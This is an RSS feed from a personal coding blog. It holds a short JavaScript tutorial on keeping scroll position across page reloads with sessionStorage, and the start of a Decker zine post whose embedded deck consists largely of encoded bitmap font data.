<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Leonora Tindall on Nora Codes</title>
    <link>https://nora.codes/</link>
    <description>Recent content in Leonora Tindall on Nora Codes</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Sat, 03 Jan 2026 10:33:29 -0600</lastBuildDate>
    <atom:link href="https://nora.codes/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Manually Restoring Scroll Position on Reload with JavaScript</title>
      <link>https://nora.codes/tutorial/manually-restoring-scroll-position-on-reload-with-javascript/</link>
      <pubDate>Sat, 03 Jan 2026 10:33:29 -0600</pubDate>
      <guid>https://nora.codes/tutorial/manually-restoring-scroll-position-on-reload-with-javascript/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m working on another site, written directly in HTML and stitched together with&#xA;the C preprocessor (it&amp;rsquo;s really quite ergonomic!) and using the excellent Python&#xA;package &lt;a href=&#34;https://pypi.org/project/reloadserver/&#34;&gt;&lt;code&gt;reloadserver&lt;/code&gt;&lt;/a&gt; to automatically reload the pages in my&#xA;browser whenever I make changes.&#xA;Unfortunately, Firefox, at least, doesn&amp;rsquo;t remember&#xA;and restore scroll position on reload, which may be the behavior one wants when&#xA;actually browsing, but is really annoying during the writing and design process.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;m working on another site, written directly in HTML and stitched together with&#xA;the C preprocessor (it&amp;rsquo;s really quite ergonomic!) and using the excellent Python&#xA;package &lt;a href=&#34;https://pypi.org/project/reloadserver/&#34;&gt;&lt;code&gt;reloadserver&lt;/code&gt;&lt;/a&gt; to automatically reload the pages in my&#xA;browser whenever I make changes.&#xA;Unfortunately, Firefox, at least, doesn&amp;rsquo;t remember&#xA;and restore scroll position on reload, which may be the behavior one wants when&#xA;actually browsing, but is really annoying during the writing and design process.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, the JS browser APIs provide very simple interfaces to the page&amp;rsquo;s&#xA;scroll position in &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/API/Window/scrollY&#34;&gt;&lt;code&gt;window.scrollY&lt;/code&gt;&lt;/a&gt; and &lt;code&gt;window.scroll(x, y)&lt;/code&gt;.&#xA;&lt;code&gt;scrollY&lt;/code&gt; is a subpixel-precise measurement of where the user has scrolled, and&#xA;&lt;code&gt;scroll()&lt;/code&gt; takes integer arguments for horizontal and vertical coordinates to&#xA;which to scroll. All we need to do is save the (rounded) value from the first&#xA;whenever the user scrolls and feed it into the second when the user reloads the&#xA;page.&lt;/p&gt;&#xA;&lt;p&gt;We don&amp;rsquo;t want to use a cookie or &lt;code&gt;localStorage&lt;/code&gt;, because those methods&#xA;of data storage persist between browser sessions and across browser tabs.&#xA;Instead, we want to use &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage&#34;&gt;&lt;code&gt;sessionStorage&lt;/code&gt;&lt;/a&gt;, a very simple KV&#xA;store whose values are wiped away when the tab or window is closed.&lt;/p&gt;&#xA;&lt;p&gt;The document API also provides a way to run code on many different events,&#xA;including scrolling the page, via &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener&#34;&gt;&lt;code&gt;addEventListener&lt;/code&gt;&lt;/a&gt;.&#xA;The &lt;code&gt;document&lt;/code&gt;&amp;rsquo;s &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/API/Document/scroll_event&#34;&gt;&lt;code&gt;&#39;scroll&#39;&lt;/code&gt;&lt;/a&gt; event fires whenever the user&#xA;scrolls, so that&amp;rsquo;s what we&amp;rsquo;ll attach to.&lt;/p&gt;&#xA;&lt;p&gt;Combining these APIs in a short JavaScript snippet, as follows, at the bottom of&#xA;my web page resulted in exactly the behavior I was looking for.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;language&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;javascript&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    document.addEventListener(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;scroll&amp;#39;&lt;/span&gt;, (_evt) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt; scrollPositionY = Math.round(window.scrollY);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        window.sessionStorage.setItem(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;scroll_position_y&amp;#39;&lt;/span&gt;, scrollPositionY);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt; y = sessionStorage.getItem(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;scroll_position_y&amp;#39;&lt;/span&gt;) || &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    window.scroll(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, y);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;&#39;scroll_position_y&#39;&lt;/code&gt;, here, is an arbitrarily chosen key for the session&#xA;storage KV store. It could be whatever you like. If you want to store horizontal&#xA;position too, add another key, like &lt;code&gt;&#39;scroll_position_x&#39;&lt;/code&gt;, storing that value.&lt;/p&gt;&#xA;&lt;p&gt;Now, the script added by &lt;code&gt;reloadserver&lt;/code&gt; reloads the page, which runs my script,&#xA;which reads the previous scroll position out of session storage and teleports me&#xA;right back where I was; the delay is imperceptible.&lt;/p&gt;&#xA;&lt;p&gt;Cheers, and if you have improvements to suggest or find issues with this&#xA;approach, let me know!&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Infrastructure Photography Manifesto (and Decker-in-HTML)</title>
      <link>https://nora.codes/post/infrastructure-photography-manifesto-and-decker-in-html/</link>
      <pubDate>Sat, 08 Nov 2025 19:04:22 -0600</pubDate>
      <guid>https://nora.codes/post/infrastructure-photography-manifesto-and-decker-in-html/</guid>
      <description>&lt;p&gt;Hey look, I made a zine in Decker! You can read it right here, or&#xA;download &lt;a href=&#34;./code/decks/infrastructure%20exp04.deck&#34;&gt;the deck file&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;script language=&#34;decker&#34;&gt;&#xA;{deck}&#xA;version:1&#xA;card:0&#xA;size:[512,342]&#xA;locked:1&#xA;name:&#34;Infrastructure photography manifesto&#34;&#xA;author:&#34;Nora Tindall&#34;&#xA;&#xA;{fonts}&#xA;lucx13:&#34;%%FNT0Bw0ABwAAAAAAAAAAAAAAAAAHAAAwMDAwMCAAMDAAAAcAKCgoAAAAAAAAAAAABwAASEj8SEj8SEhIAAAHABA4VFAwGBQUVDgQAAcAAGCSlGgQLFKSDAAABwAAMEhIMGSUiIh0AAAHABgYMAAAAAAAAAAAAAcADBAQICAgICAQEAwABwBgEBAICAgICBAQYAAHAAAQVChUEAAAAAAAAAcAAAAQEBD+EBAQAAAABwAAAAAAAAAAABgYMAAHAAAAAAAAfAAAAAAAAAcAAAAAAAAAAAAwMAAABwAEBAgIEBAQICBAQAAHAAA4RERERERERDgAAAcAABAwUBAQEBAQEAAABwAAOEQEBAgQIEB8AAAHAAA4RAQEGAQERDgAAAcAAAgYKEiI/AgICAAABwAAfEBAeAQEBEQ4AAAHAAA4REBAeERERDgAAAcAAHwEBAgQECAgIAAABwAAOERERDhEREQ4AAAHAAA4REREPAQERDgAAAcAAAAAMDAAAAAwMAAABwAAAAAwMAAAADAwYAAHAAAACBAgQCAQCAAAAAcAAAAAAPwA/AAAAAAABwAAACAQCAQIECAAAAAHAAB4BAQEOCAAICAAAAcAADhEnKSkrJJAOAAABwAAMDBISEj8hISEAAAHAAB4REREeERERHgAAAcAABwkQEBAQEAgHAAABwAAcEhEREREREhwAAAHAAB8QEBAeEBAQHwAAAcAADwgICA8ICAgIAAABwAAHCRAQEBERCQcAAAHAABEREREfEREREQAAAcAAHwQEBAQEBAQfAAABwAAfBAQEBAQEBDgAAAHAACEiJCg4JCIhIQAAAcAACAgICAgICAgPAAABwAAhMzMtLS0hISEAAAHAABEZGRUVExMREQAAAcAADBIhISEhIRIMAAABwAAeERERER4QEBAAAAHAAAwSISEhISESDAYDAcAAHhERER4SERERAAABwAAPEBAYDgMBAR4AAAHAAD+EBAQEBAQEBAAAAcAAEREREREREREOAAABwAAhISEhEhISDAwAAAHAACCkpKSqmxEREQAAAcAAEREKCgQKChERAAABwAAREREKCgQEBAQAAAHAAB8BAgIECAgQHwAAAcAHBAQEBAQEBAQEBwABwBAQCAgEBAQCAgEBAAHAHAQEBAQEBAQEBBwAAcAABAQKChERAAAAAAABwAAAAAAAAAAAAAA/gAHABgwMAAAAAAAAAAAAAcAAAAAOEQEPEREOgAABwBAQEBYZERERER4AAAHAAAAABwgQEBAIBwAAAcABAQEPERERERMNAAABwAAAAA4RER8QEQ4AAAHABwgIHwgICAgICAAAAcAAAAAPEREREw0BAQ4BwBAQEBYZEREREREAAAHABAQAHAQEBAQEBAAAAcACAgAeAgICAgICAhwBwCAgICIkKDgkIiEAAAHAHAQEBAQEBAQEBAAAAcAAAAApNqSkpKSkgAABwAAAABYZEREREREAAAHAAAAADhERERERDgAAAcAAAAAWGREREREeEBABwAAAAA8REREREw0BAQHAAAAACwwICAgICAAAAcAAAAAPEBAOAQEeAAABwAAICB8ICAgICAcAAAHAAAAAERERERETDQAAAcAAAAAREREKCgQEAAABwAAAACCkpKqREREAAAHAAAAAEREKBAoREQAAAcAAAAAREREKCgQECBgBwAAAAB8BAgQIEB8AAAHAAwQEBAIMAgQEBAMAAcAEBAQEBAQEBAQEBAABwBgEBAQIBggEBAQYAAHADRYAAAAAAAAAAAAAAcAAAAAAAAAAABsbAAA&#34;&#xA;olympiad_title:&#34;%%FNT0EigBEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAGAAAGAAAGAAAGAAAGAAAGAAAAAAAAAAAAAAAGAAAPAAAPAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADhwAHz4AHz4AHz4ADhwADhwABAgABAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAPPAAPPAAPPAAPPAAMMAAMMAAMMAAMMAD//gD//gD//gAYYAAYYAAYYAAYYAH//AH//AH//AAwwAAwwAAwwAAwwADzwADzwADzwADzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAwAAAwAAAwAAD8AAP/AAezgA8xwA8zwA8zwAexgAfwAAPwAAHwAAD4AAB8AAA+AAA/AAA/gAA3gAY3wA8zwA8zwA4zwAc3gAP/gAD+AAAwAAAwAAAwAAAwAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAHAAAeAAB+AD/8APw8AOx4Acx4AczwAczwAd3gAfngAPPAAAPAAAeAAAeOAA8/AA87AB5zAB5zADxzADx3AHh+AHg8APAAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAfwAA9wAA44AB44AB44AB44AA4wAA9wAAfgAAPAAAPAAAfPwA/vwB7jgB5zADx2ADw+ADw8ADwcADw+QB5/wB/3wAfDgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAD4AAD4AAB4AAA4AAAwAAAwAAAgAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAA4AAAwAABwAADgAADgAAHAAAHAAAHAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAHAAAHAAAHAAADgAADgAABwAAAwAAA4AAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAcAAAMAAAOAAAHAAAHAAADgAADgAADgAABwAABwAABwAABwAABwAABwAABwAABwAADgAADgAADgAAHAAAHAAAOAAAMAAAcAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGDAAPHgAPHgAHvAAB8AAc5wA//4A//4Ac5wAB8AAHvAAPHgAPHgAGDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAOAAAOAAAOAAAOAAAOAAP/+AP/+AP/+AAOAAAOAAAOAAAOAAAOAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAeAAAOAAAMAAAMAAAIAAAQAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//4A//4A//4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAHgAAPAAAPAAAeAAAeAAA8AAA8AAB4AAB4AADwAADwAAHgAAHgAAPAAAPAAAeAAAeAAA8AAA8AAB4AAB4AADwAADwAAHgAAHgAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAD/AAHngAHDgAPDwAPDwAPDwAeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4APDwAPDwAPDwAHDgAHngAD/AAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAHAAAPAAAfAAA/AAB/AAB/AAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAfgAB/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH4AAf+AA8fAA4PAB4PgB4HgAAHgAAHgAAHgAAPAAAPAAAeAAAeAAA8AAB4AABwAADgAAHAAAOAgAcBgA//gB//gD//gD//gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8AAP/AAPHgAeDwAeDwAADwAADwAAHgAAHgAAfAAB+AAB/gAAPwAADwAAD4AAB4AAB4AAB4AAB4AeDwAeDwAPHgAP/AAD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAADwAAHwAAHwAAPwAAPwAAbwAAbwAAzwAAzwABjwABjwADDwADDwAGDwAGDwAP//AP//AADwAADwAADwAADwAAH4AAf+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//gA//AA/+AA/8AA4AAA4AAA4AAA4AAA44AA7+AA//AA8fAA4PgAwPgAAHgAAHgAAHgAAHgAAHgB4HAB4HAB8OAA/8AAPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAOAAAcAAA4AABwAADwAAHgAAHgAAPAAAPAAAPAAAeeAAf/gAfnwAfDwAfD4AeB4AeB4AeB4AOB4APB4APDwAHjwAD/gAA+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB//AB/+AD/+AD/8AGAMAEAcAAAYAAA4AAAwAABwAABwAADgAADgAAHgAAHAAAPAAAPAAAeAAAeAAA+AAA+AAB8AAB8AAD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAf4AA/8AA4cABwOABwOAB4OAB4OAA8cAA+cAAf4AAPwAAPwAAf4AA98AB4+AB4eADwfADwPADwPADwPABweAB4+AA/8AAPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAP+AAePAAeHgA8HgA8DgA8DwA8DwA8DwA+HwAeHwAfPwAP/wADzwAADgAAHgAAHgAAPAAAPAAAeAAAcAAA4AABwAADgAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAD4AAD4AABwAAAAAAAAAAAAAAAAAAAAAAAAAABwAAD4AAD4AABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAeAAAOAAAMAAAMAAAIAAAQAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAPwAA/AAD8AAPwAA/AAD8AAA/AAAPwAAD8AAA/AAAPwAAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8Af/8Af/8AAAAAAAAAf/8Af/8Af/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHwAAD8AAA/AAAPwAAD8AAA/AAAPwAA/AAD8AAPwAA/AAD8AAHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8AAP/AAMPAAYHgAeHgAeHgAMHgAAHgAAPAAAPAAAeAAAcAAA4AAA4AAAwAAAwAAAwAAAwAAAAAAAAAAAAAAAwAAB4AAB4AAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAD/wAHh4AOAcAMAMAcduAc/uAZzmAZhmAZhmAZhmAZhmAZjmAc+8Acc4AMAAAOAcAHh4AD/wAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAABgAABgAADwAADwAADwAAH4AAH4AAH4AAH4AAM8AAM8AAM8AAM8AAYeAAYeAAf+AAf+AAYeAAwPAAwPAAwPAAwPAB4fgD8/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/8AAf/AAPHgAPDgAPDwAPDwAPDwAPDwAPDgAPHgAP/AAP/AAPHgAPDwAPBwAPB4APB4APB4APB4APB4APBwAPDwAf/gA/+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfMAB/8ADw8ADgcAHgMAHgMAHgEAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgEADgMADwcAB/4AAfwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/4AB/+AA8PAA8HAA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HAA8PAB/+AD/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//4Af/4APA4APAYAPAIAPAAAPAAAPAAAPBAAPDAAP/AAP/AAPDAAPBAAPAAAPAAAPAAAPAAAPAAAPAIAPAYAPA4Af/4A//4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/+AH/+ADwOADwGADwCADwAADwAADwAADwQADwwAD/wAD/wADwwADwQADwAADwAADwAADwAADwAADwAADwAADwAAH4AAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPmAA/+AB4eABwOADwGADwGADwCADwAADwAADwAADwAADwAADw/wDwfgDwPADwPADwPADwPADwPADwPABwfAB4/AA/3AAPDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/n8Afn4APDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAP/wAP/wAPDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAfn4A/n8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB/4AAfgAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAfgAB/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/AAB+AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAw8AB48AB48AB48ABx4AA/4AAfgAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/38Afj4APBwAPDgAPDgAPHAAPOAAPOAAPcAAP8AAP8AAP+AAPeAAPeAAPPAAPPAAPPAAPHgAPHgAPHgAPDwAPDwAfj4A/z8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAH4AADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwBADwDADwHAH//AP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwHwBwHgA4PAA4PAA8fAA8fAA+/AA+/AA//AA//AA33AA33AAznAAznAAxHAAxHAAwHAAwHAAwHAAwHAAwHAAwHAB4PgD8fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+D8AfB4APAwAPgwAPgwAPwwAPwwAN4wAN4wAM8wAM8wAMewAMewAMPwAMPwAMHwAMHwAMDwAMDwAMBwAMBwAMAwAeAwA/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfgAB/4ADw8ADgcAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeADgcADw8AB/4AAfgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/8AB//AA8PAA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8PAA//AA/8AA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAB+AAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB+AAH/gAPDwAOBwAeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AOBwAPDwAH/gAB+AAAMAAAOAAAPwAAHgAADAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/wAH/8ADw8ADweADweADweADweADweADweADweADweADw8AD/8AD/wAD3gAD3gADzwADzwADx4ADx4ADw8ADw8AH4+AP8/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPxgA/9gA8fgB4HgB4DgB4DgB4BgA8AgA+AAAfAAAPgAAHwAAD4AAB8AAA+AAAfABAPABgPgBgHgBwHgB4HgB8PABv/ABj8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8A//8A48cAw8MAg8EAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAB+AAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8/AH4eADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMAB4YAB/4AAfgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/PwB+HgA8DAA8DAA8DAAeGAAeGAAeGAAeGAAPMAAPMAAPMAAPMAAHYAAHYAAH4AAH4AAD4AADwAADwAADwAABgAABgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/j8AfB4AOAwAOAwAOAwAOAwAOAwAOIwAOIwAOcwAOcwAO+wAO+wAP/wAPnwAPnwAPDwAPDwAOBwAOBwAMAwAMAwAIAQAIAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPw/AHgeAHgMADwMADwYAB4YAB4wAA8wAA9gAAfgAAfAAAPAAAPAAAPgAAfgAAbwAAzwAAx4ABh4ABg8ADA8ADAeAHgeAPw/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+HwB8DgA8DAA8DAAcGAAeGAAeGAAOMAAPMAAPMAAH4AAH4AAD4AADwAADwAADwAADwAADwAADwAADwAADwAADwAAH4AAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/wAf/wAcDwAYDwAQHgAAHgAAPAAAPAAAeAAA8AAA8AAB4AAB4AADwAAHgAAHgAAPAAAPAAAeAAAeAQA8AwA8BwA//wA//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/gAH/gAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAH/gAH/gAA